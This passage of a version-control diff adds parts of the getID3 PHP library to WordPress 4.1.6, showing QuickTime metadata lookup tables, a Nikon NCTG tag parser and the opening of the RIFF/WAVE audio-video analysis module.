+			$QuicktimeContentRatingLookup[4]  = 'Explicit';
+		}
+		return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid');
+	}
+
+	public function QuicktimeStoreAccountTypeLookup($akid) {
+		static $QuicktimeStoreAccountTypeLookup = array();
+		if (empty($QuicktimeStoreAccountTypeLookup)) {
+			$QuicktimeStoreAccountTypeLookup[0] = 'iTunes';
+			$QuicktimeStoreAccountTypeLookup[1] = 'AOL';
+		}
+		return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid');
+	}
+
+	public function QuicktimeStoreFrontCodeLookup($sfid) {
+		static $QuicktimeStoreFrontCodeLookup = array();
+		if (empty($QuicktimeStoreFrontCodeLookup)) {
+			$QuicktimeStoreFrontCodeLookup[143460] = 'Australia';
+			$QuicktimeStoreFrontCodeLookup[143445] = 'Austria';
+			$QuicktimeStoreFrontCodeLookup[143446] = 'Belgium';
+			$QuicktimeStoreFrontCodeLookup[143455] = 'Canada';
+			$QuicktimeStoreFrontCodeLookup[143458] = 'Denmark';
+			$QuicktimeStoreFrontCodeLookup[143447] = 'Finland';
+			$QuicktimeStoreFrontCodeLookup[143442] = 'France';
+			$QuicktimeStoreFrontCodeLookup[143443] = 'Germany';
+			$QuicktimeStoreFrontCodeLookup[143448] = 'Greece';
+			$QuicktimeStoreFrontCodeLookup[143449] = 'Ireland';
+			$QuicktimeStoreFrontCodeLookup[143450] = 'Italy';
+			$QuicktimeStoreFrontCodeLookup[143462] = 'Japan';
+			$QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg';
+			$QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands';
+			$QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand';
+			$QuicktimeStoreFrontCodeLookup[143457] = 'Norway';
+			$QuicktimeStoreFrontCodeLookup[143453] = 'Portugal';
+			$QuicktimeStoreFrontCodeLookup[143454] = 'Spain';
+			$QuicktimeStoreFrontCodeLookup[143456] = 'Sweden';
+			$QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland';
+			$QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom';
+			$QuicktimeStoreFrontCodeLookup[143441] = 'United States';
+		}
+		return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid');
+	}
+
+	public function QuicktimeParseNikonNCTG($atom_data) {
+		// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG
+		// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
+		// Data is stored as records of:
+		// * 4 bytes record type
+		// * 2 bytes size of data field type:
+		//     0x0001 = flag   (size field *= 1-byte)
+		//     0x0002 = char   (size field *= 1-byte)
+		//     0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB
+		//     0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD
+		//     0x0005 = float  (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together
+		//     0x0007 = bytes  (size field *= 1-byte), values are stored as ??????
+		//     0x0008 = ?????  (size field *= 2-byte), values are stored as ??????
+		// * 2 bytes data size field
+		// * ? bytes data (string data may be null-padded; datestamp fields are in the format "2011:05:25 20:24:15")
+		// all integers are stored BigEndian
+
+		$NCTGtagName = array(
+			0x00000001 => 'Make',
+			0x00000002 => 'Model',
+			0x00000003 => 'Software',
+			0x00000011 => 'CreateDate',
+			0x00000012 => 'DateTimeOriginal',
+			0x00000013 => 'FrameCount',
+			0x00000016 => 'FrameRate',
+			0x00000022 => 'FrameWidth',
+			0x00000023 => 'FrameHeight',
+			0x00000032 => 'AudioChannels',
+			0x00000033 => 'AudioBitsPerSample',
+			0x00000034 => 'AudioSampleRate',
+			0x02000001 => 'MakerNoteVersion',
+			0x02000005 => 'WhiteBalance',
+			0x0200000b => 'WhiteBalanceFineTune',
+			0x0200001e => 'ColorSpace',
+			0x02000023 => 'PictureControlData',
+			0x02000024 => 'WorldTime',
+			0x02000032 => 'UnknownInfo',
+			0x02000083 => 'LensType',
+			0x02000084 => 'Lens',
+		);
+
+		$offset = 0;
+		$datalength = strlen($atom_data);
+		$parsed = array();
+		while ($offset < $datalength) {
+//echo getid3_lib::PrintHexBytes(substr($atom_data, $offset, 4)).'<br>';
+			$record_type       = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));  $offset += 4;
+			$data_size_type    = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));  $offset += 2;
+			$data_size         = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));  $offset += 2;
+			switch ($data_size_type) {
+				case 0x0001: // 0x0001 = flag   (size field *= 1-byte)
+					$data = getid3_lib::BigEndian2Int(substr($atom_data, $offset, $data_size * 1));
+					$offset += ($data_size * 1);
+					break;
+				case 0x0002: // 0x0002 = char   (size field *= 1-byte)
+					$data = substr($atom_data, $offset, $data_size * 1);
+					$offset += ($data_size * 1);
+					$data = rtrim($data, "\x00");
+					break;
+				case 0x0003: // 0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB
+					$data = '';
+					for ($i = $data_size - 1; $i >= 0; $i--) {
+						$data .= substr($atom_data, $offset + ($i * 2), 2);
+					}
+					$data = getid3_lib::BigEndian2Int($data);
+					$offset += ($data_size * 2);
+					break;
+				case 0x0004: // 0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD
+					$data = '';
+					for ($i = $data_size - 1; $i >= 0; $i--) {
+						$data .= substr($atom_data, $offset + ($i * 4), 4);
+					}
+					$data = getid3_lib::BigEndian2Int($data);
+					$offset += ($data_size * 4);
+					break;
+				case 0x0005: // 0x0005 = float  (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together
+					$data = array();
+					for ($i = 0; $i < $data_size; $i++) {
+						$numerator    = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 0, 4));
+						$denomninator = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 4, 4));
+						if ($denomninator == 0) {
+							$data[$i] = false;
+						} else {
+							$data[$i] = (double) $numerator / $denomninator;
+						}
+					}
+					$offset += (8 * $data_size);
+					if (count($data) == 1) {
+						$data = $data[0];
+					}
+					break;
+				case 0x0007: // 0x0007 = bytes  (size field *= 1-byte), values are stored as ??????
+					$data = substr($atom_data, $offset, $data_size * 1);
+					$offset += ($data_size * 1);
+					break;
+				case 0x0008: // 0x0008 = ?????  (size field *= 2-byte), values are stored as ??????
+					$data = substr($atom_data, $offset, $data_size * 2);
+					$offset += ($data_size * 2);
+					break;
+				default:
+echo 'QuicktimeParseNikonNCTG()::unknown $data_size_type: '.$data_size_type.'<br>';
+					break 2;
+			}
+
+			switch ($record_type) {
+				case 0x00000011: // CreateDate
+				case 0x00000012: // DateTimeOriginal
+					$data = strtotime($data);
+					break;
+				case 0x0200001e: // ColorSpace
+					switch ($data) {
+						case 1:
+							$data = 'sRGB';
+							break;
+						case 2:
+							$data = 'Adobe RGB';
+							break;
+					}
+					break;
+				case 0x02000023: // PictureControlData
+					$PictureControlAdjust = array(0=>'default', 1=>'quick', 2=>'full');
+					$FilterEffect = array(0x80=>'off', 0x81=>'yellow', 0x82=>'orange',    0x83=>'red', 0x84=>'green',  0xff=>'n/a');
+					$ToningEffect = array(0x80=>'b&w', 0x81=>'sepia',  0x82=>'cyanotype', 0x83=>'red', 0x84=>'yellow', 0x85=>'green', 0x86=>'blue-green', 0x87=>'blue', 0x88=>'purple-blue', 0x89=>'red-purple', 0xff=>'n/a');
+					$data = array(
+						'PictureControlVersion'     =>                           substr($data,  0,  4),
+						'PictureControlName'        =>                     rtrim(substr($data,  4, 20), "\x00"),
+						'PictureControlBase'        =>                     rtrim(substr($data, 24, 20), "\x00"),
+						//'?'                       =>                           substr($data, 44,  4),
+						'PictureControlAdjust'      => $PictureControlAdjust[ord(substr($data, 48,  1))],
+						'PictureControlQuickAdjust' =>                       ord(substr($data, 49,  1)),
+						'Sharpness'                 =>                       ord(substr($data, 50,  1)),
+						'Contrast'                  =>                       ord(substr($data, 51,  1)),
+						'Brightness'                =>                       ord(substr($data, 52,  1)),
+						'Saturation'                =>                       ord(substr($data, 53,  1)),
+						'HueAdjustment'             =>                       ord(substr($data, 54,  1)),
+						'FilterEffect'              =>         $FilterEffect[ord(substr($data, 55,  1))],
+						'ToningEffect'              =>         $ToningEffect[ord(substr($data, 56,  1))],
+						'ToningSaturation'          =>                       ord(substr($data, 57,  1)),
+					);
+					break;
+				case 0x02000024: // WorldTime
+					// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#WorldTime
+					// timezone is stored as offset from GMT in minutes
+					$timezone = getid3_lib::BigEndian2Int(substr($data, 0, 2));
+					if ($timezone & 0x8000) {
+						$timezone = 0 - (0x10000 - $timezone);
+					}
+					$timezone /= 60;
+
+					$dst = (bool) getid3_lib::BigEndian2Int(substr($data, 2, 1));
+					switch (getid3_lib::BigEndian2Int(substr($data, 3, 1))) {
+						case 2:
+							$datedisplayformat = 'D/M/Y'; break;
+						case 1:
+							$datedisplayformat = 'M/D/Y'; break;
+						case 0:
+						default:
+							$datedisplayformat = 'Y/M/D'; break;
+					}
+
+					$data = array('timezone'=>floatval($timezone), 'dst'=>$dst, 'display'=>$datedisplayformat);
+					break;
+				case 0x02000083: // LensType
+					$data = array(
+						//'_'  => $data,
+						'mf' => (bool) ($data & 0x01),
+						'd'  => (bool) ($data & 0x02),
+						'g'  => (bool) ($data & 0x04),
+						'vr' => (bool) ($data & 0x08),
+					);
+					break;
+			}
+			$tag_name = (isset($NCTGtagName[$record_type]) ? $NCTGtagName[$record_type] : '0x'.str_pad(dechex($record_type), 8, '0', STR_PAD_LEFT));
+			$parsed[$tag_name] = $data;
+		}
+		return $parsed;
+	}
+
+
+	public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') {
+		static $handyatomtranslatorarray = array();
+		if (empty($handyatomtranslatorarray)) {
+			$handyatomtranslatorarray["\xA9".'cpy'] = 'copyright';
+			$handyatomtranslatorarray["\xA9".'day'] = 'creation_date';    // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'dir'] = 'director';
+			$handyatomtranslatorarray["\xA9".'ed1'] = 'edit1';
+			$handyatomtranslatorarray["\xA9".'ed2'] = 'edit2';
+			$handyatomtranslatorarray["\xA9".'ed3'] = 'edit3';
+			$handyatomtranslatorarray["\xA9".'ed4'] = 'edit4';
+			$handyatomtranslatorarray["\xA9".'ed5'] = 'edit5';
+			$handyatomtranslatorarray["\xA9".'ed6'] = 'edit6';
+			$handyatomtranslatorarray["\xA9".'ed7'] = 'edit7';
+			$handyatomtranslatorarray["\xA9".'ed8'] = 'edit8';
+			$handyatomtranslatorarray["\xA9".'ed9'] = 'edit9';
+			$handyatomtranslatorarray["\xA9".'fmt'] = 'format';
+			$handyatomtranslatorarray["\xA9".'inf'] = 'information';
+			$handyatomtranslatorarray["\xA9".'prd'] = 'producer';
+			$handyatomtranslatorarray["\xA9".'prf'] = 'performers';
+			$handyatomtranslatorarray["\xA9".'req'] = 'system_requirements';
+			$handyatomtranslatorarray["\xA9".'src'] = 'source_credit';
+			$handyatomtranslatorarray["\xA9".'wrt'] = 'writer';
+
+			// http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
+			$handyatomtranslatorarray["\xA9".'nam'] = 'title';           // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'cmt'] = 'comment';         // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'wrn'] = 'warning';
+			$handyatomtranslatorarray["\xA9".'hst'] = 'host_computer';
+			$handyatomtranslatorarray["\xA9".'mak'] = 'make';
+			$handyatomtranslatorarray["\xA9".'mod'] = 'model';
+			$handyatomtranslatorarray["\xA9".'PRD'] = 'product';
+			$handyatomtranslatorarray["\xA9".'swr'] = 'software';
+			$handyatomtranslatorarray["\xA9".'aut'] = 'author';
+			$handyatomtranslatorarray["\xA9".'ART'] = 'artist';
+			$handyatomtranslatorarray["\xA9".'trk'] = 'track';
+			$handyatomtranslatorarray["\xA9".'alb'] = 'album';           // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'com'] = 'comment';
+			$handyatomtranslatorarray["\xA9".'gen'] = 'genre';           // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'ope'] = 'composer';
+			$handyatomtranslatorarray["\xA9".'url'] = 'url';
+			$handyatomtranslatorarray["\xA9".'enc'] = 'encoder';
+
+			// http://atomicparsley.sourceforge.net/mpeg-4files.html
+			$handyatomtranslatorarray["\xA9".'art'] = 'artist';           // iTunes 4.0
+			$handyatomtranslatorarray['aART'] = 'album_artist';
+			$handyatomtranslatorarray['trkn'] = 'track_number';     // iTunes 4.0
+			$handyatomtranslatorarray['disk'] = 'disc_number';      // iTunes 4.0
+			$handyatomtranslatorarray['gnre'] = 'genre';            // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'too'] = 'encoder';          // iTunes 4.0
+			$handyatomtranslatorarray['tmpo'] = 'bpm';              // iTunes 4.0
+			$handyatomtranslatorarray['cprt'] = 'copyright';        // iTunes 4.0?
+			$handyatomtranslatorarray['cpil'] = 'compilation';      // iTunes 4.0
+			$handyatomtranslatorarray['covr'] = 'picture';          // iTunes 4.0
+			$handyatomtranslatorarray['rtng'] = 'rating';           // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'grp'] = 'grouping';         // iTunes 4.2
+			$handyatomtranslatorarray['stik'] = 'stik';             // iTunes 4.9
+			$handyatomtranslatorarray['pcst'] = 'podcast';          // iTunes 4.9
+			$handyatomtranslatorarray['catg'] = 'category';         // iTunes 4.9
+			$handyatomtranslatorarray['keyw'] = 'keyword';          // iTunes 4.9
+			$handyatomtranslatorarray['purl'] = 'podcast_url';      // iTunes 4.9
+			$handyatomtranslatorarray['egid'] = 'episode_guid';     // iTunes 4.9
+			$handyatomtranslatorarray['desc'] = 'description';      // iTunes 5.0
+			$handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics';           // iTunes 5.0
+			$handyatomtranslatorarray['tvnn'] = 'tv_network_name';  // iTunes 6.0
+			$handyatomtranslatorarray['tvsh'] = 'tv_show_name';     // iTunes 6.0
+			$handyatomtranslatorarray['tvsn'] = 'tv_season';        // iTunes 6.0
+			$handyatomtranslatorarray['tves'] = 'tv_episode';       // iTunes 6.0
+			$handyatomtranslatorarray['purd'] = 'purchase_date';    // iTunes 6.0.2
+			$handyatomtranslatorarray['pgap'] = 'gapless_playback'; // iTunes 7.0
+
+			// http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt
+
+
+
+			// boxnames:
+			/*
+			$handyatomtranslatorarray['iTunSMPB']                    = 'iTunSMPB';
+			$handyatomtranslatorarray['iTunNORM']                    = 'iTunNORM';
+			$handyatomtranslatorarray['Encoding Params']             = 'Encoding Params';
+			$handyatomtranslatorarray['replaygain_track_gain']       = 'replaygain_track_gain';
+			$handyatomtranslatorarray['replaygain_track_peak']       = 'replaygain_track_peak';
+			$handyatomtranslatorarray['replaygain_track_minmax']     = 'replaygain_track_minmax';
+			$handyatomtranslatorarray['MusicIP PUID']                = 'MusicIP PUID';
+			$handyatomtranslatorarray['MusicBrainz Artist Id']       = 'MusicBrainz Artist Id';
+			$handyatomtranslatorarray['MusicBrainz Album Id']        = 'MusicBrainz Album Id';
+			$handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id';
+			$handyatomtranslatorarray['MusicBrainz Track Id']        = 'MusicBrainz Track Id';
+			$handyatomtranslatorarray['MusicBrainz Disc Id']         = 'MusicBrainz Disc Id';
+
+			// http://age.hobba.nl/audio/tag_frame_reference.html
+			$handyatomtranslatorarray['PLAY_COUNTER']                = 'play_counter'; // Foobar2000 - http://www.getid3.org/phpBB3/viewtopic.php?t=1355
+			$handyatomtranslatorarray['MEDIATYPE']                   = 'mediatype';    // Foobar2000 - http://www.getid3.org/phpBB3/viewtopic.php?t=1355
+			*/
+		}
+		$info = &$this->getid3->info;
+		$comment_key = '';
+		if ($boxname && ($boxname != $keyname)) {
+			$comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname);
+		} elseif (isset($handyatomtranslatorarray[$keyname])) {
+			$comment_key = $handyatomtranslatorarray[$keyname];
+		}
+		if ($comment_key) {
+			if ($comment_key == 'picture') {
+				if (!is_array($data)) {
+					$image_mime = '';
+					if (preg_match('#^\x89\x50\x4E\x47\x0D\x0A\x1A\x0A#', $data)) {
+						$image_mime = 'image/png';
+					} elseif (preg_match('#^\xFF\xD8\xFF#', $data)) {
+						$image_mime = 'image/jpeg';
+					} elseif (preg_match('#^GIF#', $data)) {
+						$image_mime = 'image/gif';
+					} elseif (preg_match('#^BM#', $data)) {
+						$image_mime = 'image/bmp';
+					}
+					$data = array('data'=>$data, 'image_mime'=>$image_mime);
+				}
+			}
+			$info['quicktime']['comments'][$comment_key][] = $data;
+		}
+		return true;
+	}
+
+	public function NoNullString($nullterminatedstring) {
+		// remove the single null terminator on null terminated strings
+		if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") {
+			return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1);
+		}
+		return $nullterminatedstring;
+	}
+
+	public function Pascal2String($pascalstring) {
+		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
+		return substr($pascalstring, 1);
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio-video.riff.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio-video.riff.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio-video.riff.php	(revision 33402)
@@ -0,0 +1,2586 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.riff.php                                 //
+// module for analyzing RIFF files                             //
+// multiple formats supported by this module:                  //
+//    Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX   //
+// dependencies: module.audio.mp3.php                          //
+//               module.audio.ac3.php                          //
+//               module.audio.dts.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+/**
+* @todo Parse AC-3/DTS audio inside WAVE correctly
+* @todo Rewrite RIFF parser totally
+*/
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true);
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true);
+
+class getid3_riff extends getid3_handler {
+
+	protected $container = 'riff'; // default
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		// initialize these values to an empty array, otherwise they default to NULL
+		// and you can't append array values to a NULL value
+		$info['riff'] = array('raw'=>array());
+
+		// Shortcuts
+		$thisfile_riff             = &$info['riff'];
+		$thisfile_riff_raw         = &$thisfile_riff['raw'];
+		$thisfile_audio            = &$info['audio'];
+		$thisfile_video            = &$info['video'];
+		$thisfile_audio_dataformat = &$thisfile_audio['dataformat'];
+		$thisfile_riff_audio       = &$thisfile_riff['audio'];
+		$thisfile_riff_video       = &$thisfile_riff['video'];
+
+		$Original['avdataoffset'] = $info['avdataoffset'];
+		$Original['avdataend']    = $info['avdataend'];
+
+		$this->fseek($info['avdataoffset']);
+		$RIFFheader = $this->fread(12);
+		$offset = $this->ftell();
+		$RIFFtype    = substr($RIFFheader, 0, 4);
+		$RIFFsize    = substr($RIFFheader, 4, 4);
+		$RIFFsubtype = substr($RIFFheader, 8, 4);
+
+		switch ($RIFFtype) {
+
+			case 'FORM':  // AIFF, AIFC
+				//$info['fileformat']   = 'aiff';
+				$this->container = 'aiff';
+				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
+				$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
+				break;
+
+			case 'RIFF':  // AVI, WAV, etc
+			case 'SDSS':  // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com)
+			case 'RMP3':  // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s
+				//$info['fileformat']   = 'riff';
+				$this->container = 'riff';
+				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
+				if ($RIFFsubtype == 'RMP3') {
+					// RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s
+					$RIFFsubtype = 'WAVE';
+				}
+				if ($RIFFsubtype != 'AMV ') {
+					// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
+					// Handled separately in ParseRIFFAMV()
+					$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
+				}
+				if (($info['avdataend'] - $info['filesize']) == 1) {
+					// LiteWave appears to incorrectly *not* pad actual output file
+					// to nearest WORD boundary so may appear to be short by one
+					// byte, in which case - skip warning
+					$info['avdataend'] = $info['filesize'];
+				}
+
+				$nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset
+				while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) {
+					try {
+						$this->fseek($nextRIFFoffset);
+					} catch (getid3_exception $e) {
+						if ($e->getCode() == 10) {
+							//$this->warning('RIFF parser: '.$e->getMessage());
+							$this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong');
+							$this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present');
+							break;
+						} else {
+							throw $e;
+						}
+					}
+					$nextRIFFheader = $this->fread(12);
+					if ($nextRIFFoffset == ($info['avdataend'] - 1)) {
+						if (substr($nextRIFFheader, 0, 1) == "\x00") {
+							// RIFF padded to WORD boundary, we're actually already at the end
+							break;
+						}
+					}
+					$nextRIFFheaderID =                         substr($nextRIFFheader, 0, 4);
+					$nextRIFFsize     = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4));
+					$nextRIFFtype     =                         substr($nextRIFFheader, 8, 4);
+					$chunkdata = array();
+					$chunkdata['offset'] = $nextRIFFoffset + 8;
+					$chunkdata['size']   = $nextRIFFsize;
+					$nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size'];
+
+					switch ($nextRIFFheaderID) {
+						case 'RIFF':
+							$chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset);
+							if (!isset($thisfile_riff[$nextRIFFtype])) {
+								$thisfile_riff[$nextRIFFtype] = array();
+							}
+							$thisfile_riff[$nextRIFFtype][] = $chunkdata;
+							break;
+
+						case 'AMV ':
+							unset($info['riff']);
+							$info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset);
+							break;
+
+						case 'JUNK':
+							// ignore
+							$thisfile_riff[$nextRIFFheaderID][] = $chunkdata;
+							break;
+
+						case 'IDVX':
+							$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size']));
+							break;
+
+						default:
+							if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) {
+								$DIVXTAG = $nextRIFFheader.$this->fread(128 - 12);
+								if (substr($DIVXTAG, -7) == 'DIVXTAG') {
+									// DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
+									$this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway');
+									$info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG);
+									break 2;
+								}
+							}
+							$this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file');
+							break 2;
+
+					}
+
+				}
+				if ($RIFFsubtype == 'WAVE') {
+					$thisfile_riff_WAVE = &$thisfile_riff['WAVE'];
+				}
+				break;
+
+			default:
+				$this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead');
+				//unset($info['fileformat']);
+				return false;
+		}
+
+		$streamindex = 0;
+		switch ($RIFFsubtype) {
+
+			// http://en.wikipedia.org/wiki/Wav
+			case 'WAVE':
+				$info['fileformat'] = 'wav';
+
+				if (empty($thisfile_audio['bitrate_mode'])) {
+					$thisfile_audio['bitrate_mode'] = 'cbr';
+				}
+				if (empty($thisfile_audio_dataformat)) {
+					$thisfile_audio_dataformat = 'wav';
+				}
+
+				if (isset($thisfile_riff_WAVE['data'][0]['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8;
+					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size'];
+				}
+				if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) {
+
+					$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']);
+					$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
+					if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) {
+						$info['error'][] = 'Corrupt RIFF file: bitrate_audio == zero';
+						return false;
+					}
+					$thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw'];
+					unset($thisfile_riff_audio[$streamindex]['raw']);
+					$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
+
+					$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
+					if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') {
+						$info['warning'][] = 'Audio codec = '.$thisfile_audio['codec'];
+					}
+					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
+
+					if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV)
+						$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']);
+					}
+
+					$thisfile_audio['lossless'] = false;
+					if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
+						switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
+
+							case 0x0001:  // PCM
+								$thisfile_audio['lossless'] = true;
+								break;
+
+							case 0x2000:  // AC-3
+								$thisfile_audio_dataformat = 'ac3';
+								break;
+
+							default:
+								// do nothing
+								break;
+
+						}
+					}
+					$thisfile_audio['streams'][$streamindex]['wformattag']   = $thisfile_audio['wformattag'];
+					$thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
+					$thisfile_audio['streams'][$streamindex]['lossless']     = $thisfile_audio['lossless'];
+					$thisfile_audio['streams'][$streamindex]['dataformat']   = $thisfile_audio_dataformat;
+				}
+
+				if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) {
+
+					// shortcuts
+					$rgadData = &$thisfile_riff_WAVE['rgad'][0]['data'];
+					$thisfile_riff_raw['rgad']    = array('track'=>array(), 'album'=>array());
+					$thisfile_riff_raw_rgad       = &$thisfile_riff_raw['rgad'];
+					$thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track'];
+					$thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album'];
+
+					$thisfile_riff_raw_rgad['fPeakAmplitude']      = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4));
+					$thisfile_riff_raw_rgad['nRadioRgAdjust']      =        $this->EitherEndian2Int(substr($rgadData, 4, 2));
+					$thisfile_riff_raw_rgad['nAudiophileRgAdjust'] =        $this->EitherEndian2Int(substr($rgadData, 6, 2));
+
+					$nRadioRgAdjustBitstring      = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT);
+					$nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT);
+					$thisfile_riff_raw_rgad_track['name']       = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3));
+					$thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3));
+					$thisfile_riff_raw_rgad_track['signbit']    = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1));
+					$thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9));
+					$thisfile_riff_raw_rgad_album['name']       = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3));
+					$thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3));
+					$thisfile_riff_raw_rgad_album['signbit']    = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1));
